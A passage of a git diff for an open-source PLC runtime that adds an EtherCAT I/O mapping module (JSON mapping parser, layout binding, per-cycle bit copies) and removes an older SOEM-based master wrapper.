*xfer, - uint8_t *iomap_base); - -#endif /* ETHERCAT_IO_H */ diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_iomap.c b/core/src/drivers/plugins/native/ethercat/ethercat_iomap.c new file mode 100644 index 00000000..d1ea0d65 --- /dev/null +++ b/core/src/drivers/plugins/native/ethercat/ethercat_iomap.c @@ -0,0 +1,446 @@ +// SPDX-License-Identifier: MIT +// Copyright (c) 2026 Autonomy® + +/** + * @file ethercat_iomap.c + * @brief Mapping file parser, layout join and per-cycle copies for the EtherCAT client. + */ + +#include "ethercat_iomap.h" + +#include +#include +#include +#include +#include + +/* Journal buffer-type ids for the INPUT image; must match journal_buffer_type_t. */ +#define JOURNAL_BOOL_INPUT 0 +#define JOURNAL_BYTE_INPUT 3 +#define JOURNAL_INT_INPUT 5 +#define JOURNAL_DINT_INPUT 8 +#define JOURNAL_LINT_INPUT 11 + +/* --- IEC location parser ---------------------------------------------------------------- */ + +int ecat_io_parse_iec_location(const char *loc_str, iec_location_t *loc) +{ + if (!loc_str || !loc) + return -1; + + const char *p = loc_str; + if (*p != '%') + return -1; + p++; + + switch (toupper((unsigned char)*p)) { + case 'I': loc->direction = IEC_DIR_INPUT; break; + case 'Q': loc->direction = IEC_DIR_OUTPUT; break; + default: return -1; + } + p++; + + switch (toupper((unsigned char)*p)) { + case 'X': loc->size = IEC_SIZE_BIT; break; + case 'B': loc->size = IEC_SIZE_BYTE; break; + case 'W': loc->size = IEC_SIZE_WORD; break; + case 'D': loc->size = IEC_SIZE_DWORD; break; + case 'L': loc->size = IEC_SIZE_LWORD; break; + default: return -1; + } + p++; + + if (!isdigit((unsigned char)*p)) + return -1; + char *endptr = NULL; + long byte_val = strtol(p, &endptr, 10); + if (endptr == p || byte_val < 0) + return -1; + loc->byte_index = (int)byte_val; + p = endptr; + + loc->bit_index = -1; + if (*p == '.') { + p++; + if (!isdigit((unsigned char)*p)) + return -1; + long bit_val = strtol(p, &endptr, 10); + if (endptr == p || bit_val < 0 || bit_val > 7) + return -1; + if (loc->size != IEC_SIZE_BIT) + return -1; + loc->bit_index = (int)bit_val; + p = endptr; + } else if (loc->size == IEC_SIZE_BIT) { + loc->bit_index = 0; + } + + return *p == '\0' ? 0 : -1; +} + +static int iec_size_bits(iec_size_t size) +{ + switch (size) { + case IEC_SIZE_BIT: return 1; + case IEC_SIZE_BYTE: return 8; + case IEC_SIZE_WORD: return 16; + case IEC_SIZE_DWORD: return 32; + case IEC_SIZE_LWORD: return 64; + } + return 0; +} + +/* --- mapping file ------------------------------------------------------------------------ */ + +static char *read_file(const char *path, char *err, size_t err_size) +{ + FILE *fp = fopen(path, "rb"); + if (fp == NULL) { + snprintf(err, err_size, "cannot open %s: %s", path, strerror(errno)); + return NULL; + } + fseek(fp, 0, SEEK_END); + long size = ftell(fp); + fseek(fp, 0, SEEK_SET); + if (size < 0 || size > 16 * 1024 * 1024) { + fclose(fp); + snprintf(err, err_size, "%s: unreadable or too large", path); + return NULL; + } + char *text = malloc((size_t)size + 1); + if (text == NULL) { + fclose(fp); + snprintf(err, err_size, "out of memory"); + return NULL; + } + size_t n = fread(text, 1, (size_t)size, fp); + fclose(fp); + text[n] = '\0'; + return text; +} + +static int parse_hex16(const cJSON *item, uint16_t *out) +{ + if (cJSON_IsNumber(item)) { + if (item->valuedouble < 0 || item->valuedouble > 0xFFFF) + return -1; + *out = (uint16_t)item->valueint; + return 0; + } + if (!cJSON_IsString(item)) + return -1; + char *end = NULL; + unsigned long v = strtoul(item->valuestring, &end, 0); + if (end == item->valuestring || *end != '\0' || v > 0xFFFF) + return -1; + *out = (uint16_t)v; + return 0; +} + +int ecat_iomap_load(const char *path, ecat_iomap_t *map, char *err, size_t err_size) +{ + memset(map, 0, sizeof(*map)); + char *text = read_file(path, err, err_size); + if (text == NULL) + return -1; + + cJSON *root = cJSON_Parse(text); + free(text); + if (root == NULL) { + snprintf(err, err_size, "%s is not valid JSON", path); + return -1; + } + + int rc = -1; + const cJSON *version = cJSON_GetObjectItemCaseSensitive(root, "version"); + const cJSON *masters = cJSON_GetObjectItemCaseSensitive(root, "masters"); + if (!cJSON_IsNumber(version) || version->valueint != 1) { + snprintf(err, err_size, "%s: unsupported mapping version (expected 1)", path); + goto done; + } + if (!cJSON_IsArray(masters)) { + snprintf(err, err_size, "%s: missing 'masters' array", path); + goto done; + } + + const cJSON *m; + cJSON_ArrayForEach(m, masters) + { + if (map->master_count >= ECAT_IOMAP_MAX_MASTERS) { + snprintf(err, err_size, "%s: more than %d masters", path, ECAT_IOMAP_MAX_MASTERS); + goto done; + } + ecat_iomap_master_t *mm = &map->masters[map->master_count++]; + const cJSON *name = cJSON_GetObjectItemCaseSensitive(m, "name"); + const cJSON *entries = cJSON_GetObjectItemCaseSensitive(m, "entries"); + if (!cJSON_IsString(name) || !cJSON_IsArray(entries)) { + snprintf(err, err_size, "%s: each master needs 'name' and 'entries'", path); + goto done; + } + snprintf(mm->name, sizeof(mm->name), "%s", name->valuestring); + + const cJSON *e; + cJSON_ArrayForEach(e, entries) + { + if (mm->entry_count >= ECAT_IOMAP_MAX_ENTRIES) { + snprintf(err, err_size, "%s: master '%s' has more than %d entries", path, + mm->name, ECAT_IOMAP_MAX_ENTRIES); + goto done; + } + ecat_iomap_entry_t *me = &mm->entries[mm->entry_count]; + const cJSON *slave = cJSON_GetObjectItemCaseSensitive(e, "slave"); + const cJSON *index = cJSON_GetObjectItemCaseSensitive(e, "index"); + const cJSON *sub = cJSON_GetObjectItemCaseSensitive(e, "subindex"); + const cJSON *loc = cJSON_GetObjectItemCaseSensitive(e, "iec_location"); + if (!cJSON_IsNumber(slave) || slave->valueint < 1 || parse_hex16(index, &me->index) || + !cJSON_IsNumber(sub) || sub->valueint < 0 || sub->valueint > 255 || + !cJSON_IsString(loc) || strlen(loc->valuestring) >= sizeof(me->iec_location)) { + snprintf(err, err_size, "%s: master '%s' entry %d is malformed", path, mm->name, + mm->entry_count); + goto done; + } + me->slave = slave->valueint; + me->subindex = (uint8_t)sub->valueint; + snprintf(me->iec_location, sizeof(me->iec_location), "%s", loc->valuestring); + if (ecat_io_parse_iec_location(me->iec_location, &me->loc) != 0) { + snprintf(err, err_size, "%s: invalid IEC location '%s' (slave %d, 0x%04X:%u)", + path, me->iec_location, me->slave, me->index, me->subindex); + goto done; + } + mm->entry_count++; + } + } + rc = 0; + +done: + cJSON_Delete(root); + return rc; +} + +/* --- binding ------------------------------------------------------------------------------ */ + +static void *resolve_plc_ptr(const iec_location_t *loc, plugin_runtime_args_t *args) +{ + int i = loc->byte_index; + if (loc->direction == IEC_DIR_INPUT) { + switch (loc->size) { + case IEC_SIZE_BIT: + return args->bool_input ? args->bool_input[i][loc->bit_index] : NULL; + case IEC_SIZE_BYTE: return args->byte_input ? args->byte_input[i] : NULL; + case IEC_SIZE_WORD: return args->int_input ? args->int_input[i] : NULL; + case IEC_SIZE_DWORD: return args->dint_input ? args->dint_input[i] : NULL; + case IEC_SIZE_LWORD: return args->lint_input ? args->lint_input[i] : NULL; + } + } else { + switch (loc->size) { + case IEC_SIZE_BIT: + return args->bool_output ? args->bool_output[i][loc->bit_index] : NULL; + case IEC_SIZE_BYTE: return args->byte_output ? args->byte_output[i] : NULL; + case IEC_SIZE_WORD: return args->int_output ? args->int_output[i] : NULL; + case IEC_SIZE_DWORD: return args->dint_output ? args->dint_output[i] : NULL; + case IEC_SIZE_LWORD: return args->lint_output ? args->lint_output[i] : NULL; + } + } + return NULL; +} + +static const cJSON *find_layout_master(const cJSON *layout, const char *name) +{ + const cJSON *masters = cJSON_GetObjectItemCaseSensitive(layout, "masters"); + const cJSON *m; + cJSON_ArrayForEach(m, masters) + { + const cJSON *n = cJSON_GetObjectItemCaseSensitive(m, "name"); + if (cJSON_IsString(n) && strcmp(n->valuestring, name) == 0) + return m; + } + return NULL; +} + +static const cJSON *find_layout_entry(const cJSON *lm, const ecat_iomap_entry_t *me) +{ + const cJSON *entries = cJSON_GetObjectItemCaseSensitive(lm, "entries"); + const cJSON *e; + cJSON_ArrayForEach(e, entries) + { + const cJSON *slave = cJSON_GetObjectItemCaseSensitive(e, "slave"); + const cJSON *index = cJSON_GetObjectItemCaseSensitive(e, "index"); + const cJSON *sub = cJSON_GetObjectItemCaseSensitive(e, "subindex"); + uint16_t idx = 0; + if (cJSON_IsNumber(slave) && slave->valueint == me->slave && parse_hex16(index, &idx) == 0 && + idx == me->index && cJSON_IsNumber(sub) && sub->valueint == me->subindex) + return e; + } + return NULL; +} + +int ecat_iomap_bind(const ecat_iomap_t *map, const cJSON *layout, plugin_runtime_args_t *args, + ecat_bound_map_t *out, char *err, size_t err_size) +{ + memset(out, 0, sizeof(*out)); + + for (int mi = 0; mi < map->master_count; mi++) { + const ecat_iomap_master_t *mm = &map->masters[mi]; + const cJSON *lm = find_layout_master(layout, mm->name); + if (lm == NULL) { + snprintf(err, err_size, "master '%s' is mapped but not running in EtherDOG", mm->name); + return -1; + } + const cJSON *idx = cJSON_GetObjectItemCaseSensitive(lm, "index"); + const cJSON *ready = cJSON_GetObjectItemCaseSensitive(lm, "ready"); + if (!cJSON_IsNumber(idx) || idx->valueint < 0 || idx->valueint >= ECAT_IOMAP_MAX_MASTERS) { + snprintf(err, err_size, "master '%s': invalid index in layout", mm->name); + return -1; + } + if (!cJSON_IsTrue(ready)) { + snprintf(err, err_size, "master '%s' is not operational", mm->name); + return -1; + } + + ecat_bound_master_t *bm = &out->masters[idx->valueint]; + bm->active = true; + bm->output_bytes = + (uint32_t)cJSON_GetNumberValue(cJSON_GetObjectItemCaseSensitive(lm, "output_bytes")); + bm->input_bytes = + (uint32_t)cJSON_GetNumberValue(cJSON_GetObjectItemCaseSensitive(lm, "input_bytes")); + + for (int ei = 0; ei < mm->entry_count; ei++) { + const ecat_iomap_entry_t *me = &mm->entries[ei]; + const cJSON *le = find_layout_entry(lm, me); + if (le == NULL) { + snprintf(err, err_size, + "%s (master '%s', slave %d, 0x%04X:%u) has no matching process data entry", + me->iec_location, mm->name, me->slave, me->index, me->subindex); + return -1; + } + const cJSON *dir = cJSON_GetObjectItemCaseSensitive(le, "direction"); + int bit_offset = (int)cJSON_GetNumberValue(cJSON_GetObjectItemCaseSensitive(le, "bit_offset")); + int bit_length = (int)cJSON_GetNumberValue(cJSON_GetObjectItemCaseSensitive(le, "bit_length")); + bool is_output = cJSON_IsString(dir) && strcmp(dir->valuestring, "output") == 0; + if (is_output != (me->loc.direction == IEC_DIR_OUTPUT)) { + snprintf(err, err_size, "%s (slave %d, 0x%04X:%u) is %s data but mapped to %s", + me->iec_location, me->slave, me->index, me->subindex, + is_output ? "output" : "input", me->loc.direction == IEC_DIR_OUTPUT ? "%Q" : "%I"); + return -1; + } + if (bit_length != iec_size_bits(me->loc.size)) { + snprintf(err, err_size, "%s (slave %d, 0x%04X:%u) is %d bits wide but the location holds %d", + me->iec_location, me->slave, me->index, me->subindex, bit_length, + iec_size_bits(me->loc.size)); + return -1; + } + uint32_t region_bits = 8u * (is_output ? bm->output_bytes : bm->input_bytes); + if (bit_offset < 0 || (uint32_t)(bit_offset + bit_length) > region_bits) { + snprintf(err, err_size, "%s: layout offset out of range", me->iec_location); + return -1; + } + if (me->loc.byte_index >= args->buffer_size) { + snprintf(err, err_size, "%s exceeds the image table size (%d)", me->iec_location, + args->buffer_size); + return -1; + } + + ecat_xfer_t x = { + .bit_offset = (uint32_t)bit_offset, + .bit_length = (uint8_t)bit_length, + .size = me->loc.size, + .plc_ptr = resolve_plc_ptr(&me->loc, args), + .journal_index = me->loc.byte_index, + .journal_bit = me->loc.size == IEC_SIZE_BIT ? me->loc.bit_index : 0, + }; + if (is_output) { + if (x.plc_ptr == NULL) + continue; /* location not declared in the program */ + bm->outputs[bm->output_count++] = x; + } else { + bm->inputs[bm->input_count++] = x; + } + } + } + return 0; +} + +/* --- per-cycle copies ----------------------------------------------------------------------- */ + +static uint64_t read_field(const uint8_t *payload, uint32_t bit_offset, int bits) +{ + if ((bit_offset & 7) == 0 && bits >= 8) { + uint64_t v = 0; + const uint8_t *p = payload + bit_offset / 8; + for (int i = bits / 8 - 1; i >= 0; i--) + v = (v << 8) | p[i]; + return v; + } + uint64_t v = 0; + for (int i = 0; i < bits; i++) { + uint32_t b = bit_offset + (uint32_t)i; + if (payload[b / 8] >> (b % 8) & 1) + v |= (uint64_t)1 << i; + } + return v; +} + +static void write_field(uint8_t *payload, uint32_t bit_offset, int bits, uint64_t v) +{ + if ((bit_offset & 7) == 0 && bits >= 8) { + uint8_t *p = payload + bit_offset / 8; + for (int i = 0; i < bits / 8; i++) + p[i] = (uint8_t)(v >> (8 * i)); + return; + } + for (int i = 0; i < bits; i++) { + uint32_t b = bit_offset + (uint32_t)i; + uint8_t mask = (uint8_t)(1u << (b % 8)); + if (v >> i & 1) + payload[b / 8] |= mask; + else + payload[b / 8] &= (uint8_t)~mask; + } +} + +void ecat_iomap_publish_inputs(const ecat_bound_master_t *m, const uint8_t *payload, size_t len, + plugin_runtime_args_t *args) +{ + if (len < m->input_bytes) + return; + for (int i = 0; i < m->input_count; i++) { + const ecat_xfer_t *x = &m->inputs[i]; + uint64_t v = read_field(payload, x->bit_offset, x->bit_length); + switch (x->size) { + case IEC_SIZE_BIT: + args->journal_write_bool(JOURNAL_BOOL_INPUT, x->journal_index, x->journal_bit, (int)v); + break; + case IEC_SIZE_BYTE: + args->journal_write_byte(JOURNAL_BYTE_INPUT, x->journal_index, (uint8_t)v); + break; + case IEC_SIZE_WORD: + args->journal_write_int(JOURNAL_INT_INPUT, x->journal_index, (uint16_t)v); + break; + case IEC_SIZE_DWORD: + args->journal_write_dint(JOURNAL_DINT_INPUT, x->journal_index, (uint32_t)v); + break; + case IEC_SIZE_LWORD: + args->journal_write_lint(JOURNAL_LINT_INPUT, x->journal_index, v); + break; + } + } +} + +void ecat_iomap_collect_outputs(const ecat_bound_master_t *m, uint8_t *payload, size_t len) +{ + memset(payload, 0, len); + if (len < m->output_bytes) + return; + for (int i = 0; i < m->output_count; i++) { + const ecat_xfer_t *x = &m->outputs[i]; + uint64_t v = 0; + switch (x->size) { + case IEC_SIZE_BIT: v = *(const uint8_t *)x->plc_ptr ? 1 : 0; break; + case IEC_SIZE_BYTE: v = *(const uint8_t *)x->plc_ptr; break; + case IEC_SIZE_WORD: v = *(const uint16_t *)x->plc_ptr; break; + case IEC_SIZE_DWORD: v = *(const uint32_t *)x->plc_ptr; break; + case IEC_SIZE_LWORD: v = *(const uint64_t *)x->plc_ptr; break; + } + write_field(payload, x->bit_offset, x->bit_length, v); + } +} diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_iomap.h b/core/src/drivers/plugins/native/ethercat/ethercat_iomap.h new file mode 100644 index 00000000..48898e27 --- /dev/null +++ b/core/src/drivers/plugins/native/ethercat/ethercat_iomap.h @@ -0,0 +1,111 @@ +// SPDX-License-Identifier: MIT +// Copyright (c) 2026 Autonomy® + +/** + * @file ethercat_iomap.h + * @brief Binds EtherCAT process data entries to PLC located variables. + * + * The mapping file (ethercat_iomapping.json, written by the Editor) names each entry by + * (master, slave position, entry index, subindex) and gives its IEC location. EtherDOG's + * "layout" reply says where that entry sits in the exchanged image. Joining the two yields + * a transfer list the client thread runs every cycle. + */ + +#ifndef ETHERCAT_IOMAP_H +#define ETHERCAT_IOMAP_H + +#include +#include +#include + +#include "cJSON.h" +#include "plugin_types.h" + +#define ECAT_IOMAP_MAX_MASTERS 4 +#define ECAT_IOMAP_MAX_ENTRIES 512 +#define ECAT_IOMAP_NAME_LEN 64 + +typedef enum { IEC_SIZE_BIT, IEC_SIZE_BYTE, IEC_SIZE_WORD, IEC_SIZE_DWORD, IEC_SIZE_LWORD } iec_size_t; +typedef enum { IEC_DIR_INPUT, IEC_DIR_OUTPUT } iec_dir_t; + +/** A parsed IEC 61131-3 location such as "%IX0.3" or "%QW12". */ +typedef struct { + iec_dir_t direction; + iec_size_t size; + int byte_index; + int bit_index; /* 0-7 for X, -1 otherwise */ +} iec_location_t; + +/** + * @brief Parse "%[IQ][XBWDL][.]"; the bit part is only valid for X. + * @return 0 on success, -1 on a malformed location. + */ +int ecat_io_parse_iec_location(const char *loc_str, iec_location_t *loc); + +/** One mapping file entry. */ +typedef struct { + int slave; + uint16_t index; + uint8_t subindex; + char iec_location[16]; + iec_location_t loc; +} ecat_iomap_entry_t; + +typedef struct { + char name[ECAT_IOMAP_NAME_LEN]; + ecat_iomap_entry_t entries[ECAT_IOMAP_MAX_ENTRIES]; + int entry_count; +} ecat_iomap_master_t; + +typedef struct { + ecat_iomap_master_t masters[ECAT_IOMAP_MAX_MASTERS]; + int master_count; +} ecat_iomap_t; + +/** One resolved per-cycle copy between the frame payload and a PLC variable. */ +typedef struct { + uint32_t bit_offset; + uint8_t bit_length; + iec_size_t size; + void *plc_ptr; /* outputs: variable read under image_lock */ + int journal_index; /* inputs: byte index into the %I image */ + int journal_bit; +} ecat_xfer_t; + +typedef struct { + bool active; + uint32_t output_bytes; + uint32_t input_bytes; + ecat_xfer_t inputs[ECAT_IOMAP_MAX_ENTRIES]; + int input_count; + ecat_xfer_t outputs[ECAT_IOMAP_MAX_ENTRIES]; + int output_count; +} ecat_bound_master_t; + +typedef struct { + ecat_bound_master_t masters[ECAT_IOMAP_MAX_MASTERS]; +} ecat_bound_map_t; + +/** Load and validate the mapping file. Returns 0, or -1 with @p err naming the problem. */ +int ecat_iomap_load(const char *path, ecat_iomap_t *map, char *err, size_t err_size); + +/** + * @brief Join the mapping with EtherDOG's layout reply and resolve PLC pointers. + * + * Every mapped entry must exist in the layout with a matching direction and width; any + * mismatch fails the whole bind with @p err naming the entry. Entries whose PLC variable is + * not declared in the program are skipped, as the in-process plugin did. + * + * @return 0 on success, -1 on failure. + */ +int ecat_iomap_bind(const ecat_iomap_t *map, const cJSON *layout, plugin_runtime_args_t *args, + ecat_bound_map_t *out, char *err, size_t err_size); + +/** Publish one input frame into the %I image through the journal (lock-free). */ +void ecat_iomap_publish_inputs(const ecat_bound_master_t *m, const uint8_t *payload, + size_t len, plugin_runtime_args_t *args); + +/** Fill @p payload (zeroed first) from the %Q image. Call between image_lock/unlock. */ +void ecat_iomap_collect_outputs(const ecat_bound_master_t *m, uint8_t *payload, size_t len); + +#endif /* ETHERCAT_IOMAP_H */ diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_master.c b/core/src/drivers/plugins/native/ethercat/ethercat_master.c deleted file mode 100644 index 340b4425..00000000 --- a/core/src/drivers/plugins/native/ethercat/ethercat_master.c +++ /dev/null @@ -1,1088 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file ethercat_master.c - * @brief EtherCAT Master SOEM Wrapper Implementation - * - * Wraps the SOEM library to provide high-level EtherCAT master operations: - * network initialization, slave scanning, topology validation against - * the JSON configuration, SDO writes, state machine management, and - * slave recovery. - * - * Uses the ecx_* context-based API from SOEM 2.x. - */ - -#include "ethercat_master.h" -#include "ethercat_proc.h" -#include "ethercat_iface_state.h" -#include "soem/soem.h" - -#include -#include -#include -#include - -/* Low-latency socket option for the SOEM raw socket (Linux only). - * Per-interface NIC tuning (ethtool coalescing/offloads) lives in - * ethercat_iface_state.{c,h}. */ -#if !defined(__CYGWIN__) && !defined(_WIN32) -#include -#define ECAT_BUSY_POLL_US 50 -#endif - -/* SDO encoding (encode_sdo_value below) memcpys host bytes directly into - * the EtherCAT wire buffer, which the spec defines as little-endian. - * Supported targets (linux/amd64, linux/arm64, linux/arm/v7) are all LE. - * If a future port targets a big-endian host, this build fails here -- - * fix by inserting htole32/htole64 calls in encode_sdo_value before the - * memcpy, rather than letting SDO writes silently corrupt slave configs. */ -#if defined(__BYTE_ORDER__) && defined(__ORDER_LITTLE_ENDIAN__) -_Static_assert(__BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__, - "EtherCAT SDO encoding requires a little-endian host"); -#endif - -/* - * ============================================================================= - * SOEM Context and IO Map - * ============================================================================= - */ - -/** Minimum retry count when polling for OPERATIONAL state. The actual - * retry count scales with min_sm_wd / total budget so the cadence stays - * inside the smallest configured SM watchdog (see transition_to_op). */ -#define ECAT_OP_POLL_RETRIES 10 - -/* - * ============================================================================= - * Topology Validation - * ============================================================================= - */ - -int ecat_master_validate_topology(ecat_master_instance_t *inst, plugin_logger_t *logger) -{ - const ecat_config_t *config = &inst->config; - int found_count = inst->ecx_context.slavecount; - - if (found_count != config->slave_count) { - plugin_logger_error(logger, - "Topology mismatch: expected %d slaves, found %d on the bus", - config->slave_count, found_count); - return -1; - } - - for (int i = 0; i < config->slave_count; i++) { - const ecat_slave_t *expected = &config->slaves[i]; - int pos = expected->position; - - if (pos < 1 || pos > found_count) { - plugin_logger_error(logger, - "Slave %d: position %d is out of range (1-%d)", - i, pos, found_count); - return -1; - } - - ec_slavet *found = &inst->ecx_context.slavelist[pos]; - - /* Vendor ID check (can be disabled per slave via startup_checks) */ - if (expected->startup_checks.check_vendor_id) { - if (found->eep_man != expected->vendor_id) { - plugin_logger_error(logger, - "Slave %d (%s) at position %d: vendor_id mismatch - " - "expected 0x%08X, found 0x%08X", - i, expected->name, pos, - expected->vendor_id, found->eep_man); - return -1; - } - } else { - plugin_logger_debug(logger, - "Slave %d (%s) at position %d: vendor_id check disabled", - i, expected->name, pos); - } - - /* Product code check (can be disabled per slave via startup_checks) */ - if (expected->startup_checks.check_product_code) { - if (found->eep_id != expected->product_code) { - plugin_logger_error(logger, - "Slave %d (%s) at position %d: product_code mismatch - " - "expected 0x%08X, found 0x%08X", - i, expected->name, pos, - expected->product_code, found->eep_id); - return -1; - } - } else { - plugin_logger_debug(logger, - "Slave %d (%s) at position %d: product_code check disabled", - i, expected->name, pos); - } - - plugin_logger_debug(logger, - "Slave %d (%s) at position %d: topology OK " - "(vendor=0x%08X, product=0x%08X)", - i, expected->name, pos, - found->eep_man, found->eep_id); - } - - plugin_logger_info(logger, "Topology validation passed: %d slaves match configuration", - config->slave_count); - return 0; -} - -/* - * ============================================================================= - * Phase 1: Open Interface, Scan Bus, Validate Topology - * ============================================================================= - */ - -int ecat_master_open_and_scan(ecat_master_instance_t *inst, plugin_logger_t *logger) -{ - const ecat_config_t *config = &inst->config; - - /* Zero-initialize the SOEM context before use */ - memset(&inst->ecx_context, 0, sizeof(inst->ecx_context)); - memset(inst->iomap, 0, sizeof(inst->iomap)); - inst->iomap_used_size = 0; - - /* Step 0: Apply per-iface external state (NIC tuning + IP-stack - * isolation). Reverted in ecat_master_close. */ - ecat_iface_state_apply(&inst->iface_state, config->master.interface, logger); - - /* Step 1: Initialize SOEM on the configured network interface */ - plugin_logger_info(logger, "Opening network interface: %s", config->master.interface); - - if (!ecx_init(&inst->ecx_context, config->master.interface)) { -#if defined(__CYGWIN__) || defined(_WIN32) - plugin_logger_error(logger, - "Failed to initialize EtherCAT interface '%s'. " - "Verify that Npcap (https://npcap.com) is installed and " - "the interface name matches a network adapter (use " - "'ipconfig' or Npcap's WlanHelper to list adapters).", - config->master.interface); -#else - plugin_logger_error(logger, - "Failed to initialize EtherCAT interface '%s'. " - "Check that the interface exists and the process has " - "CAP_NET_RAW capability (or is running as root).", - config->master.interface); -#endif - return -1; - } - - inst->soem_initialized = 1; - plugin_logger_info(logger, "Network interface opened successfully"); - - /* Enable SO_BUSY_POLL on the SOEM raw socket. - * This makes recvfrom() spin-poll the NIC driver instead of sleeping, - * eliminating ~5-10us of scheduler wakeup latency per exchange. */ -#ifdef ECAT_BUSY_POLL_US - { - int busy_us = ECAT_BUSY_POLL_US; - int sockfd = inst->ecx_context.port.sockhandle; - if (sockfd >= 0) { - if (setsockopt(sockfd, SOL_SOCKET, SO_BUSY_POLL, - &busy_us, sizeof(busy_us)) == 0) { - plugin_logger_info(logger, - "SO_BUSY_POLL enabled on socket (poll=%d us)", busy_us); - } else { - plugin_logger_debug(logger, - "SO_BUSY_POLL not supported (kernel may need CONFIG_NET_RX_BUSY_POLL)"); - } - } - } -#endif - - /* Step 2: Scan the bus and enumerate slaves */ - plugin_logger_info(logger, "Scanning EtherCAT bus..."); - - if (ecx_config_init(&inst->ecx_context) <= 0) { - plugin_logger_error(logger, - "No EtherCAT slaves found on interface '%s'. " - "Check cable connections and slave power.", - config->master.interface); - ecx_close(&inst->ecx_context); - inst->soem_initialized = 0; - return -1; - } - - plugin_logger_info(logger, "Found %d slave(s) on the bus", inst->ecx_context.slavecount); - - /* Log discovered slaves */ - for (int i = 1; i <= inst->ecx_context.slavecount; i++) { - ec_slavet *slave = &inst->ecx_context.slavelist[i]; - plugin_logger_info(logger, - " [%d] %s - vendor=0x%08X, product=0x%08X, rev=0x%08X", - i, slave->name, slave->eep_man, slave->eep_id, slave->eep_rev); - } - - /* Step 3: Validate topology against JSON configuration */ - if (ecat_master_validate_topology(inst, logger) != 0) { - plugin_logger_error(logger, - "Topology validation failed - aborting master initialization"); - ecx_close(&inst->ecx_context); - inst->soem_initialized = 0; - return -1; - } - - /* Step 4: Wait for all slaves to reach PRE-OP state. - * ecx_config_init() requests PRE-OP but does not wait for the - * transition to complete. Slaves need to be in PRE-OP before - * mailbox communication (SDO writes) can work. - * - * Use the maximum init_to_preop_timeout across all configured slaves. */ - plugin_logger_info(logger, "Waiting for slaves to reach PRE-OP state..."); - - int max_preop_timeout_us = 0; - for (int i = 0; i < config->slave_count; i++) { - int t_us = config->slaves[i].timeouts.init_to_preop_timeout_ms * 1000; - if (t_us > max_preop_timeout_us) - max_preop_timeout_us = t_us; - } - if (max_preop_timeout_us == 0) - max_preop_timeout_us = EC_TIMEOUTSTATE * 4; - plugin_logger_debug(logger, "Using INIT->PRE-OP timeout: %d us", max_preop_timeout_us); - - ecx_statecheck(&inst->ecx_context, 0, EC_STATE_PRE_OP, max_preop_timeout_us); - ecx_readstate(&inst->ecx_context); - - int all_preop = 1; - for (int i = 1; i <= inst->ecx_context.slavecount; i++) { - ec_slavet *slave = &inst->ecx_context.slavelist[i]; - if (slave->state < EC_STATE_PRE_OP) { - plugin_logger_error(logger, - "Slave %d (%s) failed to reach PRE-OP (state=0x%04X, ALstatus=0x%04X)", - i, slave->name, slave->state, slave->ALstatuscode); - all_preop = 0; - } - } - - if (!all_preop) { - plugin_logger_error(logger, "Not all slaves reached PRE-OP - aborting"); - ecx_close(&inst->ecx_context); - inst->soem_initialized = 0; - return -1; - } - - plugin_logger_info(logger, "All slaves in PRE-OP state"); - - return 0; -} - -/* - * ============================================================================= - * Phase 2: SDO Configuration - * ============================================================================= - */ - -/** - * @brief Encode a double-typed SDO value into wire bytes for the target type. - * - * Three paths cover all 11 supported types: REAL32, REAL64, and integer. - * Integer types share a common int64_t cast and a memcpy of the LSBs -- - * parse_sdo's range check guarantees the cast is in-range, so no UB on - * the truncation. Host little-endian is enforced at file scope by the - * _Static_assert above; a future big-endian port fails the build there. - * - * @param dt Target wire type (must be a valid known type) - * @param in Source value (already range-validated by the parser) - * @param out Output buffer, at least @p ecat_data_type_size(dt) bytes - * @return Number of bytes written, or 0 if @p dt is unknown/PAD - */ -static int encode_sdo_value(ecat_data_type_t dt, double in, uint8_t out[8]) -{ - int sz = ecat_data_type_size(dt); - if (sz <= 0) - return 0; - - memset(out, 0, 8); - - if (dt == ECAT_DTYPE_REAL32) { - float v = (float)in; - memcpy(out, &v, sizeof(v)); - return 4; - } - if (dt == ECAT_DTYPE_REAL64) { - memcpy(out, &in, sizeof(in)); - return 8; - } - - /* Integer path (BOOL/INT8/UINT8/.../UINT64): one cast to int64_t, - * then memcpy the low @p sz bytes -- little-endian on supported hosts. */ - int64_t i = (int64_t)in; - memcpy(out, &i, (size_t)sz); - return sz; -} - -int ecat_master_write_sdos(ecat_master_instance_t *inst, int slave_pos, - const ecat_sdo_config_t *sdos, - int sdo_count, int sdo_timeout_ms, - plugin_logger_t *logger) -{ - if (!inst->soem_initialized) { - plugin_logger_error(logger, "Cannot write SDOs: SOEM not initialized"); - return -1; - } - - if (slave_pos < 1 || slave_pos > inst->ecx_context.slavecount) { - plugin_logger_error(logger, "Invalid slave position %d for SDO write", slave_pos); - return -1; - } - - if (sdo_count == 0) - return 0; - - /* Slaves without CoE mailbox cannot accept SDO writes; refuse early - * with a clear message instead of letting every ecx_SDOwrite return - * wkc=0. */ - if ((inst->ecx_context.slavelist[slave_pos].mbx_proto & 0x04) == 0) { - plugin_logger_error(logger, - "Slave %d: %d SDO(s) configured but slave does not support CoE mailbox", - slave_pos, sdo_count); - return -1; - } - - int written = 0; - - for (int i = 0; i < sdo_count; i++) { - const ecat_sdo_config_t *sdo = &sdos[i]; - - /* Parse index from hex string */ - uint16_t index = (uint16_t)strtol(sdo->index, NULL, 16); - - /* parse_sdo rejects UNKNOWN/PAD so encode_sdo_value() returning - * 0 here is a parser regression rather than user input -- skip - * the SDO defensively rather than crash. */ - ecat_data_type_t dt = sdo->parsed_type; - uint8_t value_buf[8]; - int size = encode_sdo_value(dt, sdo->value, value_buf); - if (size <= 0) { - plugin_logger_error(logger, - "Slave %d SDO 0x%04X:%d: unknown data type '%s' -- skipping (parser regression?)", - slave_pos, index, sdo->subindex, - ecat_data_type_to_string(dt)); - continue; - } - - const char *dt_name = ecat_data_type_to_string(dt); - if (dt == ECAT_DTYPE_REAL32 || dt == ECAT_DTYPE_REAL64) { - plugin_logger_debug(logger, - "Slave %d: writing SDO 0x%04X:%d = %g (%s, %d bytes)", - slave_pos, index, sdo->subindex, sdo->value, dt_name, size); - } else { - plugin_logger_debug(logger, - "Slave %d: writing SDO 0x%04X:%d = %lld (%s, %d bytes)", - slave_pos, index, sdo->subindex, (long long)(int64_t)sdo->value, - dt_name, size); - } - - /* Use per-slave SDO timeout if configured, otherwise 